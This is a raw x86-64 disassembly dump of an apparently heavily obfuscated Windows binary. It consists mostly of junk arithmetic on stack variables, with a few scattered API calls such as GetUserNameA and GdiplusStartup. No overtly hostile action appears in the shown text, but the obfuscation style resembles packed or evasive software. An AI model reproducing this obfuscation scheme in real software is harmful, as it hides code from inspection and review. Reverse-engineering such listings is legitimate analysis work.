je 0x140007f25
jmp 0x140007f47
mov rax, qword [rsp + 0x4d40]
mov ecx, dword [rax]
call fcn.140154a20
nop
jmp 0x140007f47
mov rax, qword [rsp + 0x4dc0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x4d50]
movsx ecx, byte [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x4dc0]
mov byte [rcx], al
jmp 0x140153f61
cmp dword [rsp + 0x2b3c], 0x9a68
jae 0x1400082f3
mov eax, dword [rsp + 0x2b3c]
add eax, 0xd1
mov dword [rsp + 0x2b3c], eax
mov rax, qword [rsp + 0x4d58]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x4d00]
movzx ecx, byte [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x4ce8]
mov byte [rcx], al
mov rax, qword [rsp + 0x4e10]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xb8c]
sub eax, ecx
mov rcx, qword [rsp + 0x4e10]
mov word [rcx], ax
mov rax, qword [rsp + 0x4d50]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x11b]
add eax, ecx
mov rcx, qword [rsp + 0x4d60]
mov byte [rcx], al
mov eax, dword [rsp + 0x2b4c]
mov ecx, dword [rsp + 0x2b14]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4da0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4e00]
movabs rcx, 0x3393bf433948f436
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x4cd0], rax
mov rax, qword [rsp + 0x4de0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4cd8]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x4cf0], rax
mov rax, qword [rsp + 0x4d40]
mov ecx, dword [rsp + 0x2ae0]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x4d40]
mov dword [rcx], eax
movzx eax, word [rsp + 0xb8c]
movzx ecx, word [rsp + 0xa34]
sub eax, ecx
mov rcx, qword [rsp + 0x4e10]
mov word [rcx], ax
mov rax, qword [rsp + 0x4d60]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x11e]
add eax, ecx
mov rcx, qword [rsp + 0x4dc0]
mov byte [rcx], al
movzx eax, byte [rsp + 0x11c]
mov rcx, qword [rsp + 0x4d58]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x11d], al
movzx eax, word [rsp + 0xa34]
movzx ecx, word [rsp + 0xb84]
add eax, ecx
mov rcx, qword [rsp + 0x4e10]
mov word [rcx], ax
movsx eax, word [rsp + 0xa14]
mov rcx, qword [rsp + 0x4d68]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x4cc0]
mov word [rcx], ax
movsx eax, byte [0x14016e004]
movsx ecx, byte [rsp + 0x11e]
shl eax, cl
mov byte [rsp + 0x11b], al
mov eax, dword [rsp + 0x2ad8]
movzx ecx, al
mov eax, dword [rsp + 0x2af4]
shr eax, cl
mov rcx, qword [rsp + 0x4d40]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4da0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2b40]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x2b14], eax
movabs rax, 0xb564760bee9d5884
mov rcx, qword [rsp + 0x4cd0]
xor rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4e00]
mov qword [rcx], rax
movsx eax, word [rsp + 0xa14]
movsx ecx, word [rsp + 0xb88]
and eax, ecx
mov word [0x14016f150], ax
movzx eax, byte [rsp + 0x11c]
mov rcx, qword [rsp + 0x4d88]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x11d], al
mov rax, qword [rsp + 0x4d80]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x4cc0]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x4d68]
mov word [rcx], ax
movzx eax, word [rsp + 0xb84]
movzx ecx, word [rsp + 0xa34]
and eax, ecx
mov word [rsp + 0xb8c], ax
mov rax, qword [rsp + 0x4d00]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x4d88]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x11c], al
movzx eax, word [rsp + 0xb84]
movzx ecx, word [rsp + 0xa34]
add eax, ecx
mov rcx, qword [rsp + 0x4e10]
mov word [rcx], ax
mov rax, qword [rsp + 0x4d40]
mov ecx, dword [rsp + 0x2af4]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x2ae0], eax
mov rax, qword [rsp + 0x4da0]
mov ecx, dword [rsp + 0x2b4c]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x4da0]
mov dword [rcx], eax
movabs rax, 0xea38f2acaa7ef58a
mov rcx, qword [rsp + 0x4cd0]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4e00]
mov qword [rcx], rax
movsx eax, byte [rsp + 0x11b]
movsx ecx, byte [rsp + 0x11e]
xor eax, ecx
mov byte [0x14016e004], al
mov rax, qword [rsp + 0x4cc8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x4d50]
movsx ecx, byte [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x4dc0]
mov byte [rcx], al
mov rax, qword [rsp + 0x4d80]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xb80]
sar eax, cl
mov word [rsp + 0xa14], ax
mov rax, qword [rsp + 0x4d88]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x11d]
shl eax, cl
mov byte [rsp + 0x11c], al
movsx eax, byte [rsp + 0x11e]
mov rcx, qword [rsp + 0x4cc8]
movsx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x4dc0]
mov byte [rcx], al
jmp 0x140007f4c
mov rax, qword [rsp + 0x4d40]
mov ecx, dword [rsp + 0x2ad8]
mov eax, dword [rax]
add eax, ecx
mov ecx, dword [rsp + 0x2ae0]
mov edx, dword [rsp + 0x2af4]
add edx, ecx
mov ecx, edx
cmp eax, ecx
jae 0x1400083d2
mov rax, qword [rsp + 0x4d60]
movzx eax, byte [rax]
mov byte [rsp + 0x2b50], al
cmp byte [rsp + 0x2b50], 0x1b
je 0x14000833e
jmp 0x140008394
mov rax, qword [rsp + 0x4d40]
mov ecx, dword [rsp + 0x2ad8]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x2af4], eax
mov rax, qword [rsp + 0x4cd0]
shl rax, 0x14
mov rcx, qword [rsp + 0x4e00]
mov qword [rcx], rax
mov r8w, 0x4e
mov rdx, qword [rsp + 0x4d18]
mov rcx, qword [rsp + 0x4db8]
call qword [sym.imp.COMDLG32.dll_GetFileTitleA]
mov word [rsp + 0xb90], ax
jmp 0x1400083cd
mov rax, qword [rsp + 0x4d88]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x11d]
sar eax, cl
mov byte [rsp + 0x11c], al
movzx eax, word [rsp + 0xb8c]
movzx ecx, word [rsp + 0xa34]
xor eax, ecx
mov rcx, qword [rsp + 0x4e10]
mov word [rcx], ax
jmp 0x140153eb9
mov rax, qword [rsp + 0x4e00]
movabs rcx, 0x3713bf1616a14681
mov rax, qword [rax]
or rax, rcx
cmp rax, qword [rsp + 0x4cd0]
ja 0x140008451
mov r8d, 1
mov rdx, qword [rsp + 0x4e28]
mov rcx, qword [rsp + 0x4e30]
call qword [sym.imp.COMCTL32.dll_LBItemFromPt]
mov dword [rsp + 0x2b40], eax
movsx eax, byte [rsp + 0x11b]
movsx ecx, byte [0x14016e004]
add eax, ecx
mov byte [rsp + 0x11e], al
movsx eax, word [rsp + 0xb80]
movsx ecx, word [rsp + 0xa14]
sub eax, ecx
mov rcx, qword [rsp + 0x4d68]
mov word [rcx], ax
jmp 0x14000855a
mov rax, qword [rsp + 0x4d00]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x4d88]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x4d58]
movzx ecx, byte [rcx]
mov rdx, qword [rsp + 0x4ce8]
movzx edx, byte [rdx]
add ecx, edx
cmp eax, ecx
jne 0x14000853b
movzx eax, word [rsp + 0xb90]
mov word [rsp + 0xb94], ax
mov rax, qword [rsp + 0x4d70]
mov rax, qword [rax]
mov qword [rsp + 0x4e38], rax
movabs rax, 0x32c96706007b72b3
cmp qword [rsp + 0x4e38], rax
je 0x1400084c2
jmp 0x1400084dd
mov rax, qword [rsp + 0x4d88]
movzx edx, byte [rax]
mov rcx, qword [rsp + 0x4cf0]
call fcn.140154fb0
nop
jmp 0x140008539
lea rax, [rsp + 0x2b4c]
mov qword [rsp + 0x4e40], rax
lea rax, [rsp + 0x4cd8]
mov qword [rsp + 0x4e48], rax
lea rax, [rsp + 0x4cd0]
mov qword [rsp + 0x4e50], rax
mov dword [rsp + 0x2b54], 0x97d6
mov rax, qword [rsp + 0x4d00]
movzx eax, byte [rax]
mov byte [0x14016f152], al
lea rax, [rsp + 0x2ae0]
mov qword [rsp + 0x4e58], rax
jmp 0x14000855a
mov rax, qword [rsp + 0x4d88]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x11d]
and eax, ecx
mov rcx, qword [rsp + 0x4ce8]
mov byte [rcx], al
mov rax, qword [rsp + 0x4e10]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xb8c]
imul eax, ecx
mov word [rsp + 0xb84], ax
mov rax, qword [rsp + 0x4d80]
movsx eax, word [rax]
mov dword [rsp + 0x2b58], eax
cmp dword [rsp + 0x2b58], 0
je 0x140008599
jmp 0x140153e50
mov rax, qword [rsp + 0x4e58]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2ae0]
sub ecx, eax
mov eax, ecx
mov ecx, dword [0x14016e008]
mov edx, dword [rsp + 0x2ad8]
sub edx, ecx
mov ecx, edx
cmp eax, ecx
ja 0x140153d08
lea rax, [rsp + 0x2b4c]
mov qword [rsp + 0x4e60], rax
mov rax, qword [rsp + 0x4d50]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x4cc8]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x11e], al
mov rax, qword [rsp + 0x4d58]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x4d00]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x4ce8]
mov byte [rcx], al
movsx eax, byte [rsp + 0x11e]
movsx ecx, byte [rsp + 0x11b]
add eax, ecx
mov rcx, qword [rsp + 0x4d60]
mov byte [rcx], al
mov rax, qword [rsp + 0x4cc0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xb90]
add eax, ecx
mov rcx, qword [rsp + 0x4d80]
mov word [rcx], ax
mov rax, qword [rsp + 0x4d88]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x11c]
and eax, ecx
mov byte [rsp + 0x11d], al
mov rax, qword [rsp + 0x4e50]
mov rcx, qword [rsp + 0x4cd0]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x4e50]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4de0]
mov rcx, qword [rsp + 0x4cf0]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0x4cd8], rax
mov rax, qword [rsp + 0x4e58]
mov ecx, dword [rsp + 0x2af4]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x4e58]
mov dword [rcx], eax
mov eax, dword [rsp + 0x2b40]
mov rcx, qword [rsp + 0x4e60]
mov qword [rsp + 0x4e68], rcx
movzx ecx, al
mov rax, qword [rsp + 0x4e68]
mov eax, dword [rax]
sar eax, cl
mov rcx, qword [rsp + 0x4da0]
mov dword [rcx], eax
movsx eax, word [rsp + 0xb94]
mov rcx, qword [rsp + 0x4d80]
movsx ecx, word [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x4cc0]
mov word [rcx], ax
mov rax, qword [rsp + 0x4d58]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x4ce8]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x4d58]
mov byte [rcx], al
mov rax, qword [rsp + 0x4e10]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xb84]
and eax, ecx
mov rcx, qword [rsp + 0x4e10]
mov word [rcx], ax
movsx eax, byte [rsp + 0x11e]
movsx ecx, byte [rsp + 0x11b]
add eax, ecx
mov rcx, qword [rsp + 0x4d50]
mov byte [rcx], al
movsx eax, word [rsp + 0xb94]
movsx ecx, word [0x14016f150]
sub eax, ecx
mov word [rsp + 0xb88], ax
mov rax, qword [rsp + 0x4e00]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4cd0]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4e50]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4e40]
mov ecx, dword [rsp + 0x2b14]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x2b40], eax
mov eax, dword [rsp + 0x2ad8]
mov ecx, dword [rsp + 0x2ae0]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4d40]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4d70]
mov rcx, qword [rsp + 0x4e48]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x4cf0], rax
movsx eax, word [0x14016f150]
movsx ecx, word [rsp + 0xb94]
sub eax, ecx
mov rcx, qword [rsp + 0x4cc0]
mov word [rcx], ax
movzx eax, word [rsp + 0xa34]
movzx ecx, word [rsp + 0xb8c]
and eax, ecx
mov rcx, qword [rsp + 0x4e10]
mov word [rcx], ax
mov rax, qword [rsp + 0x4e10]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xa34]
sar eax, cl
mov rcx, qword [rsp + 0x4e10]
mov word [rcx], ax
movzx eax, byte [rsp + 0x11c]
mov rcx, qword [rsp + 0x4d58]
movzx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x11d], al
mov eax, dword [rsp + 0x2a94]
add eax, 0x16
mov dword [rsp + 0x2a94], eax
movsx eax, byte [rsp + 0x11e]
mov rcx, qword [rsp + 0x4cc8]
movsx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x11b], al
mov rax, qword [rsp + 0x4e58]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2af4]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4d40]
mov dword [rcx], eax
cmp dword [rsp + 0x2a94], 0x5c53
jbe 0x1400085d7
mov rax, qword [rsp + 0x4e40]
mov eax, dword [rax]
mov dword [rsp + 0x2b4c], eax
mov rax, qword [rsp + 0x4e50]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4cd0]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4e00]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4e48]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4cd8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x4cf0], rax
movzx eax, word [rsp + 0xb8c]
movzx ecx, word [rsp + 0xb84]
and eax, ecx
mov rcx, qword [rsp + 0x4e10]
mov word [rcx], ax
movsx eax, word [rsp + 0xb90]
mov rcx, qword [rsp + 0x4d80]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x4d68]
mov word [rcx], ax
mov rax, qword [rsp + 0x4d60]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x4d50]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x11b], al
mov rax, qword [rsp + 0x4ce8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x4d00]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x11c], al
movsx eax, word [rsp + 0xb80]
movsx ecx, word [rsp + 0xb90]
add eax, ecx
mov word [rsp + 0xb94], ax
mov rax, qword [rsp + 0x4e50]
mov rcx, qword [rsp + 0x4e00]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x4e50]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4d40]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2af4]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x2ae0], eax
mov rax, qword [rsp + 0x4da0]
mov ecx, dword [rsp + 0x2b4c]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x4e40]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4d70]
mov rcx, qword [rsp + 0x4de0]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x4d70]
mov qword [rcx], rax
movzx eax, byte [rsp + 0x11c]
mov rcx, qword [rsp + 0x4d00]
movzx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x11d], al
mov rax, qword [rsp + 0x4e10]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xb84]
xor eax, ecx
mov rcx, qword [rsp + 0x4e10]
mov word [rcx], ax
mov rax, qword [rsp + 0x4d50]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x11e]
or eax, ecx
mov rcx, qword [rsp + 0x4d60]
mov byte [rcx], al
mov rax, qword [rsp + 0x4ce8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x4d58]
movzx ecx, byte [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x4d00]
mov byte [rcx], al
mov rax, qword [rsp + 0x4cc8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x11b]
and eax, ecx
mov byte [rsp + 0x11e], al
mov rax, qword [rsp + 0x4e50]
mov rcx, qword [rsp + 0x4cd0]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x4e00]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4d70]
mov rcx, qword [rsp + 0x4de0]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x4e48]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4e40]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2b40]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x2b4c], eax
mov eax, dword [rsp + 0x2ae0]
mov ecx, dword [rsp + 0x2af4]
add ecx, eax
mov eax, ecx
mov dword [0x14016e008], eax
movsx eax, word [rsp + 0xb80]
mov rcx, qword [rsp + 0x4d68]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xb88], ax
mov rax, qword [rsp + 0x4d60]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x11b]
add eax, ecx
mov rcx, qword [rsp + 0x4cc8]
mov byte [rcx], al
movzx eax, word [rsp + 0xa34]
mov rcx, qword [rsp + 0x4e10]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xb8c], ax
movzx eax, byte [0x14016f152]
mov rcx, qword [rsp + 0x4d00]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x11d], al
mov eax, dword [rsp + 0x2ac8]
sub eax, 0x10
mov dword [rsp + 0x2ac8], eax
movzx eax, word [rsp + 0xb84]
movzx ecx, word [rsp + 0xa34]
sar eax, cl
mov rcx, qword [rsp + 0x4e10]
mov word [rcx], ax
mov rax, qword [rsp + 0x4d40]
mov rcx, qword [rsp + 0x4e58]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x2ae0], eax
mov eax, dword [rsp + 0x2b40]
mov ecx, dword [rsp + 0x2b14]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x2b4c], eax
mov rax, qword [rsp + 0x4cd0]
mov rcx, qword [rsp + 0x4e00]
mov qword [rsp + 0x4e70], rcx
movzx ecx, al
mov rax, qword [rsp + 0x4e70]
mov rax, qword [rax]
shl rax, cl
mov rcx, qword [rsp + 0x4e50]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4cf0]
mov rcx, qword [rsp + 0x4cd8]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4e48]
mov qword [rcx], rax
movzx eax, word [rsp + 0xa34]
movzx ecx, word [rsp + 0xb84]
add eax, ecx
mov rcx, qword [rsp + 0x4e10]
mov word [rcx], ax
movsx eax, byte [rsp + 0x11e]
movsx ecx, byte [rsp + 0x11b]
add eax, ecx
mov rcx, qword [rsp + 0x4d50]
mov byte [rcx], al
mov rax, qword [rsp + 0x4d68]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x4cc0]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x4d80]
mov word [rcx], ax
movzx eax, byte [0x14016f152]
mov rcx, qword [rsp + 0x4d88]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x4d58]
mov byte [rcx], al
movsx eax, word [rsp + 0xb80]
movsx ecx, word [rsp + 0xb94]
and eax, ecx
mov rcx, qword [rsp + 0x4cc0]
mov word [rcx], ax
mov rax, qword [rsp + 0x4e10]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xa34]
sub eax, ecx
mov rcx, qword [rsp + 0x4e10]
mov word [rcx], ax
cmp dword [rsp + 0x2ac8], 0x22b6
jae 0x1400088e0
mov rax, qword [rsp + 0x4e48]
mov rcx, qword [rsp + 0x4cd8]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x4de0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4cc0]
movsx eax, word [rax]
mov dword [rsp + 0x2b5c], eax
cmp dword [rsp + 0x2b5c], 0
je 0x140008e31
cmp dword [rsp + 0x2b5c], 0x621a
je 0x140008da6
jmp 0x140153ca8
mov rax, qword [rsp + 0x4da0]
mov ecx, dword [rsp + 0x2b14]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x2b40], eax
mov rax, qword [rsp + 0x4d68]
movsx eax, word [rax]
mov dword [rsp + 0x2b60], eax
cmp dword [rsp + 0x2b60], 0x1dd2
je 0x140008e0c
cmp dword [rsp + 0x2b60], 0x47de
je 0x140008dee
jmp 0x140008e2c
mov rax, qword [rsp + 0x4d58]
movzx edx, byte [rax]
mov rax, qword [rsp + 0x4de0]
mov rcx, qword [rax]
call fcn.140154fb0
nop
jmp 0x140008e2c
movsx eax, word [rsp + 0xb80]
mov rcx, qword [rsp + 0x4d68]
movsx ecx, word [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x4cc0]
mov word [rcx], ax
jmp 0x140153ca8
mov rax, qword [rsp + 0x4d50]
movzx eax, byte [rax]
mov byte [rsp + 0x11f], al
mov rax, qword [rsp + 0x4dc0]
movzx eax, byte [rax]
mov byte [rsp + 0x2b64], al
cmp byte [rsp + 0x2b64], 0
je 0x140008e61
jmp 0x140008eb4
lea rax, [rsp + 0x11c]
mov qword [rsp + 0x4e78], rax
mov rax, qword [rsp + 0x4cc0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xb80]
or eax, ecx
mov rcx, qword [rsp + 0x4d68]
mov word [rcx], ax
mov rax, qword [rsp + 0x4e10]
movzx eax, word [rax]
mov word [rsp + 0xb98], ax
mov dword [rsp + 0x2b68], 0x45be
jmp 0x140008f4a
lea rdx, [rsp + 0x4cd8]
mov rcx, qword [rsp + 0x4e80]
call qword [sym.imp.ADVAPI32.dll_GetUserNameA]
mov dword [rsp + 0x2b04], eax
lea r8, [rsp + 0x20d90]
lea rdx, [rsp + 0x20dc8]
lea rcx, [rsp + 0x211c0]
call sub.gdiplus.dll_GdiplusStartup
mov dword [rsp + 0x2ae0], eax
mov eax, dword [rsp + 0x2af4]
movzx ecx, al
mov eax, dword [rsp + 0x2ae0]
shr eax, cl
mov dword [rsp + 0x2ad8], eax
mov rax, qword [rsp + 0x4da0]
mov eax, dword [rax]
mov dword [rsp + 0x20], eax
mov r9d, dword [rsp + 0x2b14]
mov rax, qword [rsp + 0x4da0]
mov r8d, dword [rax]
mov rax, qword [rsp + 0x4da0]
mov edx, dword [rax]
mov rax, qword [rsp + 0x4da0]
mov ecx, dword [rax]
call fcn.140154460
nop
cmp dword [rsp + 0x2b38], 0x32d8
jb 0x1400093e2
mov rax, qword [rsp + 0x4e00]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4cd0]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4e50]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4d00]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x11d]
sub eax, ecx
mov byte [0x14016f152], al
mov rax, qword [rsp + 0x4d70]
mov rcx, qword [rsp + 0x4de0]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x4cd8], rax
mov eax, dword [rsp + 0x2b38]
sub eax, 0xe3
mov dword [rsp + 0x2b38], eax
mov rax, qword [rsp + 0x4d88]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x4d00]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x4ce8]
mov byte [rcx], al
movsx eax, byte [rsp + 0x11b]
movsx ecx, byte [rsp + 0x11e]
add eax, ecx
mov rcx, qword [rsp + 0x4dc0]
mov byte [rcx], al
movsx eax, byte [rsp + 0x11f]
movsx ecx, byte [rsp + 0x11b]
sub eax, ecx
mov byte [rsp + 0x11e], al
mov rax, qword [rsp + 0x4d88]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x11d]
and eax, ecx
mov rcx, qword [rsp + 0x4e78]
mov byte [rcx], al
movzx eax, word [rsp + 0xb8c]
movzx ecx, word [rsp + 0xb84]
add eax, ecx
mov rcx, qword [rsp + 0x4e10]
mov word [rcx], ax
mov rax, qword [rsp + 0x4e40]
mov ecx, dword [rsp + 0x2b4c]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x4e60]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4d40]
mov rcx, qword [rsp + 0x4e58]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x4d40]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4e78]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x4d00]
movzx ecx, byte [rcx]
xor eax, ecx
mov byte [0x14016f152], al
mov rax, qword [rsp + 0x4cf0]
movzx ecx, al
mov rax, qword [rsp + 0x4cd8]
shl rax, cl
mov rcx, qword [rsp + 0x4d70]
mov qword [rcx], rax
movsx eax, word [rsp + 0xb88]
movsx ecx, word [rsp + 0xb80]
sar eax, cl
mov rcx, qword [rsp + 0x4cc0]
mov word [rcx], ax
mov rax, qword [rsp + 0x4d50]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x4dc0]
movsx ecx, byte [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x4cc8]
mov byte [rcx], al
movzx eax, byte [rsp + 0x11d]
mov rcx, qword [rsp + 0x4e78]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x11c], al
mov rax, qword [rsp + 0x4d68]
movzx eax, word [rax]
mov word [rsp + 0xb90], ax
movzx eax, word [rsp + 0xb98]
movzx ecx, word [rsp + 0xa34]
sub eax, ecx
mov rcx, qword [rsp + 0x4e10]
mov word [rcx], ax
mov rax, qword [rsp + 0x4da0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2b14]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4e40]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4e50]
mov rcx, qword [rsp + 0x4e00]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x4cd0], rax
mov rax, qword [rsp + 0x4cc8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x4d50]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [0x14016e004], al
mov rax, qword [rsp + 0x4d40]
mov rcx, qword [rsp + 0x4e58]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x2af4], eax
movsx eax, word [rsp + 0xb80]
movsx ecx, word [rsp + 0xa14]
add eax, ecx
mov rcx, qword [rsp + 0x4d68]
mov word [rcx], ax
mov rax, qword [rsp + 0x4dc0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x4d50]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x11f], al
movzx eax, byte [rsp + 0x11d]
movzx ecx, byte [0x14016f152]
add eax, ecx
mov byte [rsp + 0x11c], al
mov rax, qword [rsp + 0x4e10]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xa34]
sar eax, cl
mov word [rsp + 0xb84], ax
movzx eax, byte [rsp + 0x11d]
mov rcx, qword [rsp + 0x4d58]
movzx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x11c], al
mov rax, qword [rsp + 0x4e58]
mov ecx, dword [rsp + 0x2af4]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0x4e58]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4d70]
mov rcx, qword [rsp + 0x4cd8]
mov rax, qword [rax]
or rax, rcx
mov rcx, qword [rsp + 0x4d70]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4e50]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4cd0]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4e00]
mov qword [rcx], rax
mov eax, dword [rsp + 0x2b14]
mov ecx, dword [rsp + 0x2b4c]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4da0]
mov dword [rcx], eax
movsx eax, word [rsp + 0xb88]
movsx ecx, word [rsp + 0xb90]
add eax, ecx
mov rcx, qword [rsp + 0x4cc0]
mov word [rcx], ax
mov rax, qword [rsp + 0x4cc8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x11e]
add eax, ecx
